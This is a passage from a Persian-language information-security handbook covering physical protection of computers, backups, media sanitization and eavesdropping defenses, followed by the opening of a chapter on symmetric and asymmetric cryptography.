اگـر  . ننـد كوجود دارد استفاده مـي      فشرده هاي آن گازِ  ه در ميان لايه   كدار   حفاظ ةانالهاي دو جدار  كبرخي از تأسيسات بسيار ايمن از       
. آورندنند يا زنگ خطر را به صدا در مي        ك گذرنده از خطوط را متوقف مي      كانال ترافي كهاي  ها پايين بيايد فشارياب   فشار درون جداره  

  .ندكفذ ايجاد انال منكهاي  شخصي در ديوارهمثلاً ه كدهد اينحالت وقتي رخ مي

  ه كهاي شبدهندهاتصال

تواند برق سيستم را از     دسترسي دارد مي   - هك شب ةدهند اتصال كييا   -ه  ك شب ة پايان كه به ي  كمهاجمي  ابل،  ك كعلاوه بر بريدن ي   
  . در مقابل حملات ولتاژ قوي آسيب پذير هستنديابلك يهاهك شبةهم. ندكه را دچار آسيب كار بياندازد يا شبك

  لات وسايلاتصا

هـا نيـاز بـه      چـون رايانـه   .  براحتي ميسر است   - گاهي حتي از خارج ساختمان       - و آب    برق، گاز ردن  كدر بسياري از ساختمانها قطع      
امـر  هاي آبي وابسته باشند، ايـن       نكهاي گازي يا سرد   نكن است به گرم   كنترل دما مم  كي دارند، و چون سيستمهاي      كتريكانرژي ال 

  .وردآجديد بوجود  ة تخريبگر نقاط انجام حملبراي افرادتواند مي

  دفاع در مقابل عمليات جنگي و تروريستي
انعکاسـي  هاي  دهندهها و سرويس  ك فوري و ديس   ين است، سيستمي از پشتيبانها    كغيرممحملات  چون حفاظت در مقابل بسياري از       

امپيوتر همزمـان   ك ـ كشده روي ي  ه فايلهاي ذخيره  ك دهيد   توانيد ترتيبي  نسبتاً سريع مي   ةكشباتصال   كبا ي . را مد نظر داشته باشيد    
توانند پـشتيباني همزمـان     ه نمي كپايگاههايي  . دنشوبرداري  نسخه سيستم ديگر واقع در سوي ديگر شهر يا آنسوي جهان            كروي ي 

اي ز رايانه كن است مر  ك بمبگذاري انتحاري مم   كاگرچه ي . هاي افزايشي ساعتي يا شبانه داشته باشند      dumpتوانند   داشته باشند مي  
  .حفاظت نمودخاطر  با اطمينان  وتوان در جاي ديگرهاي شما ميدادهاما از ند، كشما را نابود 

  پيشگيري از سرقت 
قابـل  امـا اگـر رايانـه حـاوي اطلاعـات غير          آزاردهنده باشد،    ة تجرب كيتواند  مي - يفيكهاي  خصوصاً سرقت رايانه   - سرقت رايانه 

  .ن است براي قرباني گران تمام شودكممالعاده حساس باشد جايگزيني يا فوق

امـل و يـا اگـر سـارقان خبـره باشـند             كسيـستم   بصورت  يا   - رونداي براي فروش مجدد به سرقت مي      بسياري از سيستمهاي رايانه   
توانند بـراي   ه نمي كد  شونساني به سرقت برده مي    كها توسط   بعضي رايانه . لتر است كردنشان مش كه رديابي   كقطعات مجزا،   بصورت  

خواهنـد آن  ه مـي كه در آنها ذخيره شده است و معمولاً توسط افرادي كها هم به خاطر اطلاعاتي  بعضي رايانه . نندكخود رايانه تهيه    
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ننـد بـه   كاربرد آن اطلاعـات محـروم   ك ـخواهند صاحب رايانـه را از   ه مي كساني  كدست آورند و البته گاهي هم توسط        اطلاعات را ب  
در بسياري  . فرصت: دارند ك عنصر مشتر  كاي ي شود؛ غالب سرقتهاي رايانه   اي دزديده مي  ه چرا رايانه  كمهم نيست   . روندت مي سرق

  .ه بدون محافظت رها شده بودندكاند ها به اين دليل به سرقت رفته رايانهاز موارد

م ك ـرونـد، مح آنها به آساني به سرقت مـي .  خود را دارندهاي قابل حمل مخاطرات مخصوص بهيفي يا ساير انواع رايانهكهاي  رايانه
هـاي   ه از رايانهكسانيك. رسند، و به سادگي به فروش مجدد مي    )!اينصورت ديگر سيار نخواهند بود     در غير (ل است   كبستن آنها به جايي مش    

 هـا رايانهاين ه سرقت   كگزارش شده   . باشندهايشان بسيار مراقب    ه براي حفاظت از رايانه    كنند بايد آموزش ببينند     كيفي استفاده مي  ك
جا و براي هيچ مدتي بدون مراقبت       كيفي نبايد در هيچ     كهاي  رايانه. استمعضل اساسي    كيدرحال حاضر   بخصوص در فرودگاهها    

  .عقب ماشين، نزد خودتان نگهداريديفي خود را به جاي صندوقك ةنيد رايانكسي مسافرت ميكاگر شما با تا. رها شوند

يفـي يـا روميـزي را بـه ميـزان زيـادي             كتوانيد خطر سرقت رايانه     هزينه و ساده مي   مكوشبختانه با انجام تعداد محدودي اقدامات       خ
  .اهش دهيدك

  قفلها

ها ي گوناگوني براي بستن رايانهكهاي فيزيدهندهاتصال. ي آن استكسازي فيزي ي از راههاي خوب حفاظت رايانه از سرقت، ايمن        كي
  .سازندميدشوارتر آنرا وقوع نند، اما كتوانند از سرقت جلوگيري اگرچه اين وسايل نمي. ها وجود دارندابينتك و به ميزها

ي از بهتـرين  ك ـي. ترين دليل به سرقت رفتن آنها اسـت يفي و همچنين اصليكهاي  عامل مهم فروش رايانه    كقابليت حمل آسان ي   
 شـيء بـزرگ   ك لوله يـا ي ـ كه حداقل بطور موقت آنرا به ميز، يكست  ايفي اينك ةناهش احتمال به سرقت رفتن رايا    كراهها براي   
  .نيدكديگر قفل 

قفـل   كتوان ي دلار مي ۵۰متر از   كبا قيمت   .  شيار امنيتي هستند   كرسند مجهز به ي   ه امروزه به فروش مي    كيفي  كهاي  بيشتر رايانه 
تـوان بـدون داشـتن      اگر دستگاه به جايي قفل شود نمي      . ندك آن قفل مي   كييفي را به اشياء نزد    كه شيار امنيتي رايانه     ك خريد   يابلك
اينگونـه  . بسيار دشوار خواهد شـد    آن  فروش مجدد   آسيب ديدن رايانه هم     صورت  رد، و در  ك ليد يا آسيب رساندن به دستگاه آنرا باز       ك

  .شوندميخياباني يفي توسط دزدهاي ك هايهقفلها بيشتر مانع قاپيده شدن رايان

  زدن  چسببر

 تلفن يا برچـسب زدن      هي نام و شمار   كاكيفي، ح كان سرقت و افزايش احتمال بازپس فرستادن رايانه         كاهش ام ك راه ديگر براي     كي
 ادعاي عدم اطلاع خريداران يـا فروشـندگان از مـسروقه            ،برچسبهااين  وجود  . ثابت است زنهاي ثابت يا نيمه   روي آن توسط برچسب   
  .ندكخت ميبودن رايانه را بسيار س

شـود سـازمان   ه موجب ميك سري اختصاصي دارند  ةزني خوب به وضوح قابل رؤيت هستند و شمار        برچسب سيستم   كبرچسبهاي ي 
 توليـد   ٥٨)STOP (رديابي امن وسايل دفتـري    ت  ك شر ةهزينه بوسيل مكگذاري   سيستم برچسب  كي. ندكبتواند مشخصات آنرا رديابي     

اي ك ـاي لاتـين، و آمري ك ساله در اروپا، استراليا، آمري  ۳ري اختصاصي تعلق گرفته و با پشتيباني         س ةبه اين برچسبها شمار   . شده است 
 ـ   ك ـتواند ترتيبي بدهد    ت مي ك پيدا شود، شر   STOP قطعه تجهيزات با برچسب      كچنانچه ي . شمالي همراه است    اصـلي   كه بـه مال
  .بازگشت داده شود

  يفيكهاي افزارها و خدمات ترميم رايانهنرم

 رديـابي در قـسمتهاي مختلـف        ةبرنام. رسانند شخصي به فروش مي    هايرايانه" رديابي"هايي براي   تهاي مختلفي برنامه  كوزه شر امر
ن كاين تماس مم  . ندكند تا محل خود را اعلام       ك تماس با سرويس رديابي برقرار مي      كشود و هر از چندگاه ي     يفي پنهان مي  ك ةرايان
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يفـي در   كد، امـا چنانچـه رايانـه        شوميصرفنظر  اين تماسها   از  معمولاً  . ه باشد ك اتصال شب  ك و يا ي    خط تلفن  كاست با استفاده از ي    
  .به ثبت رسيده باشد، پليس در جريان محل محموله دزدي قرار خواهد گرفت" شدهدزديده"ز سرويس رديابي بعنوان كمر

توانيـد از   بنـابراين شـما مـي     . ننـد كار مـي  ك ـيفـي   كهـاي   البته بسياري از اين سيستمها روي دستگاههاي روميزي هم مثـل رايانـه            
  .نيدكصورت محافظت دينشدن دارند ب بالايي براي دزديدهرةنيد مخاطكه تصور ميكسيستمهايي 

  سرقت اجزاء

تها و كبـسياري از شـر  . بردنـد  رنـج مـي  RAMتهاي تجاري و دانـشگاهها از دزديهـاي متـوالي    ك شر بالا بود RAMه قيمت   كزماني
 و پردازشگرهاي آخرين مـدل براحتـي در بـازار           RAM. انداي شاهد دزديهاي بزرگ پردازشگرهاي پيشرفته بوده      ههاي رايانه دانشگا

 رايانـه را    ك داخـل ي ـ   RAMه سارقين تنهـا قـسمتي از        كغيرقابل رديابي هستند و هنگامي    اين پردازشگرها   . رسندآزاد به فروش مي   
 رايانـه ناگهـان بـسيار       كه ي ـ كند  كايت  كاربر ش ك كچنانچه ي . ار شود كگذرد تا موضوع آش   ها يا ماهها ب   ن است هفته  كدزدند، مم  مي

ي ك ـ آن از ايمنـي فيزي   caseه آيـا    كنيد  كنيد، و سپس بررسي     ك آنرا بررسي    RAMند،  كار مي كرد  كار مي كتر از آنچه ديروز     آهسته
  .برخوردار است يا نهلازم 

  رمزگذاري

ار خواهـد   كه روي آن قرار دارد در راستاي برآورده شدن اهداف صاحب جديد رايانه ب             كشد اطلاعاتي    شما به سرقت رفته با     ةاگر رايان 
هـاي  نـي كپران است به فروش برسد، يا در نامـه كاطلاعات حساس مم. نند يا آنرا بخوانندك كن است اطلاعات را پا    كآنها مم . رفت

  . روداركها بننده و يا در سوء استفاده از ساير رايانهكبدنام 

براي ايـن    ؛استفاده نمود توان اطلاعات به سرقت رفته را تقريباً بي       املاً دور نگه داشت اما مي     كتوان چيزي را از سرقت      هيچگاه نمي 
انيزمهـاي امنيـت    كبه اين دليل، حتي با بهتـرين م       . ليد رمزگذاري را نداند   كدستگاه رمزگذاري شده باشد و سارق       منظور کافي است    

ل باشـد رمزگـذاري   كستن آن مـش كه شك نظام رمزگذاري كي، اطلاعات حساس بايد با استفاده از ي       كهاي فيزي ازدارندهاي و ب  رايانه
ه در آن ك ـتان به سـرقت رفـت، اطلاعـات حـساسي           سيستم رمزگذاري قوي است تا حتي اگر رايانه        ك از ي  هتوصيه ما استفاد  . شوند

  .ودبرداري سوء واقع نشهرمورد بهبراحتي وجود دارد 

  از اطلاعاتحفاظت 
 ةاز هم ـ . هايتـان وجـود دارد    دادهو صحت   پارچگي  ك شما و محرمانگي و ي     ةي دستگاههاي رايان  كهمپوشاني زيادي ميان امنيت فيزي    

 تهـاي شـما در معـرض حمـلا        متأسـفانه داده  . هاي آنـرا نيـز در اختيـار دارد        سي رايانه شما را بدزدد طبيعتاً داده      كاينها گذشته اگر    
  .نندكاثر ه در قسمتهاي قبلي به آنها اشاره شد را بيكي كن است اقدامات فيزيكه ممكوني قرار دارند گوناگ

  )شنود (سمعاستراق

سـمع  تـرين تجهيـزات، اسـتراق    حتي با معمـولي   . ها باشد ع انتشار غيرقانوني داده   انواترين  ي از شوم  كي ي كترونيكسمع ال شايد استراق 
 ةه روي صـفح ك ـليـد و هـر قطعـه اطلاعـاتي     كمه روي صفحهكشدن هر د فشرده-ز اقدامات قرباني امل اك رونوشت كتواند ي  مي

در اين ميـان معمـولاً قربـاني از حـضور مهـاجم             . ندكبرداري   را نسخه  -شود  آيد يا به چاپگر فرستاده مي      به نمايش در مي    نمايشگر
مختلـف  فرآينـدهاي  ه همچنين رمزهاي عبـور و   ك اطلاعات حساس بل   پردازد و نه تنها   ار خود مي  كباورانه به   اطلاع است و خوش    بي
  .دهدسب اطلاعات بيشتر را نيز در معرض سرقت قرار ميك
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هـاي    هكهـا، شـب   هـاي داده  شيكابلها و سيم  كليد و رايانه،    كاتصال ميان صفحه   -سمع در نقاط مختلف رايانه      ابزارهايي براي استراق  
Ethernet   روشهاي مختلفي براي دشـوار .  وجود دارند -سيم، و حتي امواج راديويي گذرنده از تجهيزات         بيهاي  هك و فيبرنوري، شب 

  :سمع وجود داردردن استراقك

دار يـا   ابـل پوشـش   كنيد و استفاده از     كي به طور منظم بازرسي      كابلها و سيمهاي حامل داده را از نظر خرابي يا تغييرات فيزي           ك •
ابلهـا را   كدهيد،  اگر به اصول امنيتي خيلي اهميت مي      . نفذ در سيمها را مد نظر داشته باشيد       ردن ايجاد م  كمسلح براي دشوارتر    

 .انالهاي فولادي قرار دهيدكدر 

، از Ethernetهـاي  hubبجـاي اسـتفاده از      . ندارنـد  فعـال    Ethernetه دفاتر غير فعـال، پورتهـاي        كنيد  كاطمينان حاصل    •
 MAC٥٩هاي با آدرس    ه بسته ك arpwatchمانند  شبکة محلي   نترل  كافزار  نرم كاز ي . نيدك استفاده   Ethernetسوئيچهاي  

ننـد اسـتفاده    ك غربـال ها را    بسته MACتوانند بر اساس آدرس     ه مي كند، يا از سوئيچهايي     ك قبلي را شناسايي مي    ةبدون سابق 
لتر كن ايجاد منفذ مخفـي در آنهـا مـش         نيد؛ چو كابلهاي فيبر نوري استفاده     ك از   مسي،هاي  ابلكان دارد بجاي    كهرجا ام . نماييد
 .است

ن براي دفاع   كسيم بسازيد، تمام قابليتهاي ايمني مم     ه بي ك شب ك اگر حتماً بايد ي    .نيدكسيم اجتناب   هاي بي هكار بردن شب  كاز ب  •
ه ك ـاز آنجـا    . نيدكل  را در آن فعا   ) ...، و MAC هايصافي،  SSID٦١ عمومي   پخشهايار انداختن   ك، از   ٦٠آتشديواره  اري،  ذمثل رمزگ (در عمق   

 يـا سـاير     VPNسـيم هميـشه از       بـي  ةك آموزش دهيد در شـب     اربرانكنند، به   كمي ايجاد مي  كبيشتر اين قابليتها ايمني بسيار      
 .قرار دهيد) آتش ةيا ميان دو ديوار(آتش  ة را خارج از ديوار٦٢سيم دسترسي بيةنقط. نندكتونلهاي رمزشده استفاده 

ه ارتباطـات شـما تحـت       كبنابراين هميشه با اين فرض      . آوردسمع حفاظت قابل توجهي بوجود مي     قاري در مقابل استرا   ذرمزگ •
 حـساس   كانپذير نيست، حداقل همه ترافي    كار ام كوقتي انجام اين  . اري تمام ارتباطات را لازم بشماريد     ذنظارت قرار دارد، رمزگ   

 .نيدكاري ذگرا رمز) اربري رمزهاي عبور در خدمات راه دوركمثل اسامي (ه كشب

  حفاظت از پشتيبانها

شـده در نوارهـاي پـشتيبان       باشند، اما به هرحال اطلاعات ذخيـره       -  ايمن يا غير ايمن    -اي  پشتيبانها بايد پيشنياز هر عمليات رايانه     
 .نيـد ك محفاظـت    نيد از پـشتيبانهايتان   ك خود حفاظت مي   ةه به طور معمول از رايان     ك حداقل به همان اندازه      .پذير هستند بسيار آسيب 

بهتـر  (ي ايمن هستند    كه از نظر فيزي   كنيد، آنها را در محلهايي      ك قابل دسترسي عمومي بدون مراقبت رها ن       ةهيچ وقت آنها را در ناحي     
 ه آنهـا را از محلـي بـه محـل    كنيد كسي اعتماد مي  كنگهداريد، و مراقب باشيد به چه       ) هايتان باشد است جايي خارج از محل نگهداري رايانه      

  .ندكديگر حمل 

 .نيـد كاري  ذ آنهـا را رمزگ ـ    ،شـدن اطلاعـات در پـشتيبان      ه قبل از نوشـته    كدهند  ان را مي  كهاي پشتيبان به شما اين ام     بيشتر برنامه 
يا نوارهـاي پـشتيبان مـسروقه را بـراي رقيـب            هاي فشرده   كديسان مفيد واقع شدن     كپشتيبانهاي رمزشده به ميزان قابل توجهي ام      

نيد، تا هم كاري نيز محفاظت ميذليد رمزگ كه از   كنيد  كنيد، اطمينان حاصل    كاري مي ذ چنانچه پشتيبانها را رمزگ    .داهش خواهند دا  ك
  .ليد شما گم نشودكارمندان كصورت تعويض بيابد، و هم دررا مهاجم نتواند آن

 مثلاً نوار مغناطيسي نسبت بـه فرآينـدي    .شوند   مي كپاآرام آرام    شرايط محيطي    بعلتها  بايگانيگاهي اوقات پشتيبانهاي موجود در      
 نـوار، روي  ة قـسمت پيچيـده شـده بـه دور قرقـر     كه در آن ميدانهاي مغناطيسي ي ـكپذير است  آسيبprint throughموسوم به 

 را هـر از  ه پـشتيبانها ك ـسـت   ارساند يا نه اينه بفهميم اين مسئله به پشتيبان آسيب مي     ك تنها راه اين   .گذارندهاي زيرين اثر مي    لايه
  .نيمكبررسي چندگاه 

                                                                                                                                            
 آدرس فيزيكي ثابت هر گره در شكبه   ۵۹
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گـذاري  توانيد هر سيستم برچسب   شما مي . باشد پشتيبان مي  ةزني و صورت برداري نامناسب از رسان      ل بسيار رايج، برچسب   ك مش كي
  .نماييدمستندسازي املاً كي را انتخاب نموده و كه يكنيد، مشروط بر اينكدانيد را انتخاب ه مؤثر ميك بردارييا فهرست

  سازي رسانه قبل از انهدام كپا

 كامـل پـا   كهاي رسانه قـبلاً بـه طـور         نيد، مطمئن شويد داده   ك، يا نوارها را از رده خارج مي       ديسکهاي فشرده گردانها،  كوقتي ديس 
هاي مربوط به فايـل      سخت شما است داده    كه روي ديس  ك فايل   ك ي معمولي و سادة  حذف   . نام دارد  ٦٣سازيكپااين فرآيند   . اندشده
هاي سخت بايـد بـا      كديس. توانند ترميم شوند   به آساني مي   -ل فايل   ك و گاهي    - اصلي   ة معمولاً قسمتهايي از داد    .برد از بين نمي   را
  .سازي شودكگردان نوشته شده پاكديسنوع براي هر خاص ه بطور كافزار مخصوص  نرمكي

ه داراي ميـدان    ك ـترومغناطيسي  ك دستي ال  ة وسيل ك ي -از انبوه   سكننده مغناطيسي يا پا   كك دستگاه پا  كتوان از ي  در مورد نوارها مي   
ايد را آنقدر مجدداً بخوانيد تا بفهميد بـراي         ردهكسازي  كه بصورت انبوه پا   ك اطلاعات نوارهايي    .ردك استفاده   -مغناطيسي قوي است    

   .لازم استآنها به اين روش ردن ك كها چند بار پامحو نمودن داده

 كبار قابل نوشتن هـستند را نيـز پـا         كه تنها ي  كهايي  ه حتي محتويات رسانه   كبازنويسي رسانه نوري وجود دارند      افزارهايي براي   نرم
هـايي از   ن است بـازهم مانـده     كند، و بازنويسي مم   ك نوع رسانه به نوع ديگر تغيير مي       كبا اينحال اثربخشي اين روشها از ي      . نندكمي

  .باشدارجح ي كردن فيزيكد  به اين دليل شايد نابو.خود برجا بگذارد

هاي اسيدي براي از بين بردن نوارها بسيار مناسب هستند، اما از نظر شرايط محيط زيست قابل قبـول                   سوزي و حمام  هاي زباله ورهك
ها، كشـد، امـا بـا افـزايش حجـم ديـس            تـرجيح داده مـي     floppyهـاي   هاي سخت و بسته   كديسستن  كشتا همين اواخر    . باشندنمي
براي . ان تحليل آزمايشگاهي مواد حاصله وجود نداشته باشد       كسته شوند تا ام   كتري ش كوچكتر و   كوچكنها بايد به قطعات     گردا كديس
ي ك ـفيزيسازي و انهدام    كبتدريج روشهاي پا    درنتيجه . آن بالاست  ة مغناطسي وجود دارد ولي هزين     ةنندككگردانها دستگاه پا  كديس

  .دهنداج خود را از دست ميافزاري روهاي نرمكنيكدر مقايسه با ت

ار داريـد، شـايد   ك اگر با اطلاعات بسيار محرمانه يا مرتبط با امنيت سرو. يا نوار استكل ديسكسازي، بازنويسي ك روش رايج پا  كي
اند سي شدهبار بازنويكه تنها يكه داده از نوارهايي كان وجود دارد كنيد، چون اين ام ك را چندبار بازنويسي     ك نوار يا ديس   كبخواهيد ي 

بـار هـم بـا اعـداد        ك، و ي  "كي ـ"هـاي   كبار با بلو  ك، ي "صفر"هاي  كبار با بلو  ك ي -شوند   معمولاً نوارها سه بار بازنويسي مي      .بازيافت شود 
  .ي تبديل شودك پلاستيكوچك ة نواري عبور داد تا به هزاران قطعةتوان نوار را چندبار از ار در نهايت مي.تصادفي

   توبك ماسنادسازي كپا

 مـسئله ايـن  . ار بيايدكه براي مجرمان يا رقبا به كن است حاوي اطلاعاتي باشند كشوند ممداني مي ه راهي زباله  كتوب  كاطلاعات م 
هـاي    ريزي، خبرنامه  برنامه، اسناد برنامه   ةها، اسناد طراحي، متن اولي    ، خلاصه )هاي ناقص از جمله نسخه  (افزار  هاي چاپي نرم  شامل نسخه 
داني ريختـه شـود     ن است به زباله   كه مم كاطلاعات ديگري   . شودت و موارد ديگر مي    كتابهاي راهنماي شر  ك تلفن و    ةچداخلي، دفتر 

 ايـن   .شـود هاي سريال، سطح نصب بودن اصلاحات امنيتي و ماننـد آن مـي            ها، شماره عاملها و رايانه  هاي سيستم شامل انواع نسخه  
 . مهاجم باشـند   كاربري و ساير اطلاعات حياتي براي ي      كهاي  ، شناسه IPهاي  ها، شماره ن است در بر دارنده اسامي ميزبان      كاسناد مم 

ه ك ـسي ك ـ معدن طلا براي كي - ٦٤سازيغربالضوابط و آتش ربندي ديواره كامل پيكفهرستهاي تها  كه برخي از شر   كشنيده شده   
  .ريزنددور ميبدون هيچ مراقبت خاصي  را -ها است بدنبال نفوذ به رايانه
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 راهنماي امنيت فناوري اطلاعات ٢٩٠ 

ه اطلاعات حساس   ك آموزش دهيد    اربرانك به   .نيدكتهيه   نكاغذ خرد كشود  دور ريخته مي  در آنجا   ه اطلاعات با ارزش     كهرجا  اي  بر
افي بـزرگ اسـت و      ك ـ ةاگر سازمانتان به انداز   . خرد شوند در دستگاه   ه آنها را به دفتر بياورند تا        كرا در سطلهاي خانه دور نياندازند، بل      

  .ارخانه بسوزانيدكاغذهاي حساس را در محوطه كدهد، شايد مايل باشيد برخي از دورريزهاي ازه را ميقانون به شما اين اج

  هاي محليحفاظت از حافظه

هـا نيـز اطلاعـات را در خـود      ي داده ك ـتريكسازي انبوه، بسياري ديگر از تجهيزات پـردازش ال        ها و سيستمهاي ذخيره   علاوه بر رايانه  
ن اسـت بـا دسـتورات       كه مم ك حافظه دارند    هايbuffer، مودمها، و چاپگرهاي ليزري معمولاً       ٦٥هاپايانهل  براي مثا . نندكذخيره مي 

  .نترلي بارگذاري يا باربرداري شوندكمناسب 

ل حفاظتي به همراه خود دارد، بويژه اگـر از  ك مشكند، يكه اطلاعات حساس را در خود ذخيره مي ك حافظه   ةبه طور طبيعي هر قطع    
هـاي محلـي در بـسياري از         با اينحـال حافظـه     .انيزمهاي مشابه محفاظت نشود   كاري، يا ساير م   ذافظه با رمز عبور، رمزگ     ح ةآن قطع 
اربر رايانـه  ك ـهـا هـر از چنـدگاه بـدون اطـلاع      ل امنيتي اضافه با خود دارند، چون اطلاعات حساس در اين حافظهك مشكوسايل ي 
  .شودميبرداري نسخه

  تهاي بدون مراقبپايانه

 مورد توجه تخريبگران و مهاجمـان        بسيار نندكاربران آنها خود را در حالت وارد شده به سيستم رها مي           كه  كهاي بدون مراقبت    پايانه
تواند  از طرف ديگر تخريبگر مي   .تواند با اطمينان خاطر به فايلهاي شخص دسترسي داشته باشد          تخريبگر مي  كي .اي قرار دارد  رايانه

هرگونـه  : ه اسـتفاده نمايـد   كل شـب  كاي يا    نقطه شروع براي آغاز حمله عليه سيستم رايانه        كاين شخص بعنوان ي    حساب کاربري از  
ها را بـراي    هيچگاه نبايد پايانه  . ند و نه تخريبگر   كميآن حساب کاربري    رديابي حمله طبيعتاً انگشت اتهام را متوجه شخص صاحب          

  .ردكاقبت رها وتاه زماني بدون مرك هايِمدتي بيش از بازه

را او  اسـتفاده مانـد  اربر براي بيش از چند دقيقه بيكپايانة ه اگر كنمايش اين قدرت را دارند بعضي از سيستمها يا محافظهاي صفحه   
هـا  از مزايـاي ايـن قابليت     . ننـد ك -ليـد وي را قفـل       كنمايش او را خالي و صفحه      يا حداقل صفحه   -ار از سيستم خارج     كبصورت خود 

  .نيدكاستفاده 

   محافظيهاليدك

 بعضي  .ندكاندازي مجدد سيستم جلوگيري     تواند براي جلوگيري از راه    اربره مي ككه در حالت ت   كليدي دارند   كها  برخي از انواع رايانه   
بـور  عرمـز  اندازي مجدد سيستم بدون در اختيـار داشـتن   اربره از راهككه در حالت تك هم دارند  ROMهاي  نندهكها نظارت از رايانه 

نتـرل دسترسـي بـه      ك بـراي    Macintosh سيـستمهاي جديـد      ة و هم ـ  Sunت  ك شـر  openBOOT سيستم   .نمايدجلوگيري مي 
  .نندكسيستم رمزهاي عبور پشتيباني مياز اندازي ربندي راهكپي

د بايـد مـورد     انپـذير باش ـ  كه ام ك ـاند و هرگاه    ردهك ايمني بيشتري فراهم     ROMهاي  نندهكو نظارت محافظ  ي  هاليدكرمزهاي عبور   
 ـ ك ي كافي است براي ايجاد اختلال در رايانه      ه  ك با اينحال بايد به خاطر داشت        ٦٦.استفاده قرار گيرند   . نـد كرا از پريـز بـرق جـدا         نفر آن

  .ي دسترسي به آن رايانه استكردن فيزيك رايانه، محدود كمهمترين روش حفاظت از يبنابراين 

  

                                                                                                                                            
65  Terminals 

ي ممكن است بيافتـد اگـر يـك مهـاجم بـه             درنظر بگيريد چه اتفاق   . يك دليل خوب ديگر هم وجود دارد       ROMهاي  كنندهبراي استفاده از رمزهاي عبور نظارت        ٦٦
 . عبور روي آن قرار دهد، و سپس آنرا خاموش كندرمزاي دست پيدا كند، يك رايانه
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  فصل چهارم
  امنيت اطلاعات

  لياتك
اين ابعـاد امنيـت     . نندكه اطلاعات را از انتشار ناخواسته، تحريف، و يا تخريب حفاظت مي           كز دارد   كي تمر يانيزمهاك روي م  اين فصل 

 توسـط كـاربران   پـارچگي سيـستم  كهـا، و ي هـا، برنامـه  ه از دسترسي يا ايجاد تغيير در دادهك -د نشو ناميده مي ٦٧محرمانگيمعمولاً  
مباحث اين قسمت تـا  . اندماندهنخورده و صحيح باقي افزارها دستد اطلاعات و نرمندهطمينان مي و ا  - ندكنمجاز جلوگيري مي  غير

  . اربرد چند اصل در سيستمهاي واقعي ارائه شده استكي از يهاحد زيادي مفهومي است، هرچند نمونه

  رمزنگاري
تـوب و ديگـر   كلمـات م كتـوان  اده از رمزنگاري مي   با استف . اي است از فنون رياضي براي حفاظت از اطلاعات         مجموعه ٦٨رمزنگاري

 را در اختيـار نداشـته       لازم اسـت  ردن قفل پيامها    كه براي باز  ك رياضي   ةليد ويژ ك كسي ي كه اگر   كرد  كاي تبديل   انواع پيام را بگونه   
 فرآينـد  .شـود  ناميده مـي ٦٩ريرمزگذا پيام، كيتغيير ظاهري استفاده از رمزنگاري براي . مفهوم بنظر بيايد باشد آن پيامها برايش بي    

  . نام دارد٧٠رمزگشاييليد مناسب نيز كبا استفاده از رمزشده به قالب اوليه  پيام كيبازگشت 

اي از  وقتـي قطعـه   از لحاظ نظري     .ندك غيرمجاز به اطلاعات جلوگيري      ة گيرند كه از دسترسي ي   كرود  ار مي كرمزنگاري براي اين ب   
دار  شخص ثالث از ميان راه دزديـده يـا افـشا گـردد امنيـت آن خدشـه                  ك تصادفي توسط ي   اطلاعات رمزگذاري شود و سپس بطور     

 بـراي  د و روش رمزگـذاري در مقابـل تـلاش   ليد لازم براي رمزگـشايي اطلاعـات افـشا نـشده باش ـ    كه كنخواهد شد، مشروط بر آن    
  .ندكليد رمز مقاومت ك بدون رمزگشاييِ

  .رودار ميك نيز ب٧١ذيب پيامكعدم تپارچگي و ك تضمين يعلاوه بر افزايش محرمانگي، رمزنگاري براي

  توابع و الگوريتمهاي رمزنگاري 

  :اساساً دو نوع الگوريتم براي رمزگذاري وجود دارد

  ليد رمز مقارن كالگوريتمهاي 
 متقـارن گـاهي   ليـد رمـز  كالگوريتمهـاي  . شـود ليد رمـز اسـتفاده مـي      ك كدر اين الگوريتمها براي رمزگذاري و رمزگشايي پيام از ي         

 متأسـفانه هـردوي ايـن نامهـا بـه          .شـوند  ناميده مـي   ٧٣ليد رمز خصوصي  كالگوريتمهاي   و گاهي هم     ٧٢ليد رمز سري  كالگوريتمهاي  
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 الگوريتمهـاي   .شوندليد رمز متقارن ندارند اشتباه گرفته مي      كه ارتباطي با الگوريتمهاي     ك ٧٤ليد رمز همگاني  كالگوريتمهاي  سادگي با   
 كهاي ي ـ، دادهكالگوريتمهاي بلو. ٧٦الگوريتهاي جاري، و ٧٥كالگوريتهاي بلو: توان به دو دسته تقسيم نمودن را ميليد رمز متقار ك
) يا حتي بيـت بـه بيـت     (ه الگوريتمهاي جاري آنها را بايت به بايت         كنند، درحالي ك زماني رمزگذاري مي   ة باز كرا در ي  ) تعدادي بايت  (كبلو

  .نمايندرمزگذاري مي

عمومـاً بـسيار سـريعتر از       ايـن الگوريتمهـا      . سيـستمهاي رمزنگـاري مـدرن هـستند        ةك ـليد رمز متقارن موتـور محر     كهاي  الگوريتم
ل كليد رمز متقارن سه مـش     كمتأسفانه الگوريتمهاي   . تر است شان ساده سازيمابيش پياده كليد رمز همگاني هستند و      كالگوريتمهاي  

  :ندك عي محدود ميه استفاده از آنها را در دنياي واقكدارند 

به تبـادل اطلاعـات بپردازنـد،       بصورت ايمن   ليد رمز متقارن    كاي بتوانند با استفاده از الگوريتم       ه طرفين ارتباط رايانه   كبراي اين  •
 .تواند بسيار دشوار باشدليد رمزگذاري بصورت امن ميك مبادله .نندكليد رمزگذاري مبادله ك كابتدا بايد ي

ليـد رمـز را نـزد خـود داشـته      ك نسخه از كنند، هر دو طرف ارتباط بايد يكاهند ارسال و يا دريافت پيام      خوه آنها مي  كاز آنجا    •
ن كي از طرفين ارتباط مخدوش شود و طرف ديگر از اين مسئله خبر نداشته باشد، مم               كليد ي كاگر  . باشند و آنرا ايمن نگهدارند    

مـورد  شده   ليد رمز مخدوش  كتواند با استفاده از     و آنگاه آن پيام مي     -ند  كاست طرف دوم ارتباط براي طرف اول پيامي ارسال          
 .سوء استفاده قرار بگيرد

ليـد رمـز   ك كبـه ي ـ  ارتباط دونفره نند هركاز اين الگوريتم استفاده     ارتباط  ردن  كبراي ايمن   د  نمايل باش اربران  كاز   كياگر هر  •
بـا افـزايش تعـداد    . شـود ليـد مـي  ك 2 / (N2 - N)ت مـستلزم  اربر متفاوك Nه اين براي ك، خواهد داشتمنحصر به فرد نياز 

 .نترل خواهد شدكسرعت غيرقابل  اين عدد ب،اربرانك

  الگوريتمهاي كليد رمز نامتقارن

سيستم رمزنگاري كليد رمز همگاني     . رود و كليد ديگر براي رمزگشايي آن      در اين الگوريتمها يك كليد براي رمزگذاري پيام بكار مي         
نامنـد،   مـي ٧٧كليد رمـز همگـاني     در اين الگوريتمها معمولاً كليد رمزگذاري را         .م الگوريتمهاي كليد رمز نامتقارن است     يك دستة مه  

